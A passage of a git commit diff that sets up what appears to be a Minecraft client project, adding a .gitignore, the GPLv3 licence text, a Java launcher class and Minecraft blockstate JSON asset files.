commit ba940256b09425660f179b15e21961cccaedc482 Author: ZionRank1 Date: Tue Apr 9 12:38:38 2024 +0100 meteor skid diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..524f0963 --- /dev/null +++ b/.gitignore @@ -0,0 +1,24 @@ +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* +replay_pid* diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..f288702d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/src/Start.java b/src/Start.java new file mode 100644 index 00000000..07b9c1c8 --- /dev/null +++ b/src/Start.java @@ -0,0 +1,20 @@ +import java.util.Arrays; + +import info.sigmaclient.sigma.config.ConfigManager; +import net.minecraft.client.main.Main; + +public class Start +{ + public static void main(String[] args) + { + String assets = System.getenv().containsKey("assetDirectory") ? System.getenv("assetDirectory") : "assets"; + Main.main(concat(new String[] {"--version", "mcp", "--accessToken", "0", "--assetsDir", assets, "--assetIndex", "1.16", "--userProperties", "{}", "--username", "Player89"}, args)); + } + + public static T[] concat(T[] first, T[] second) + { + T[] result = Arrays.copyOf(first, first.length + second.length); + System.arraycopy(second, 0, result, first.length, second.length); + return result; + } +} diff --git a/src/assets/.mcassetsroot b/src/assets/.mcassetsroot new file mode 100644 index 00000000..e69de29b diff --git a/src/assets/minecraft/blockstates/acacia_button.json b/src/assets/minecraft/blockstates/acacia_button.json new file mode 100644 index 00000000..e502900d --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/acacia_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/acacia_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/acacia_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/acacia_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/acacia_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/acacia_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_door.json b/src/assets/minecraft/blockstates/acacia_door.json new file mode 100644 index 00000000..fde42a7f --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/acacia_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/acacia_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/acacia_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/acacia_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_fence.json b/src/assets/minecraft/blockstates/acacia_fence.json new file mode 100644 index 00000000..5690ffa7 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/acacia_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/acacia_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/acacia_fence_side", + 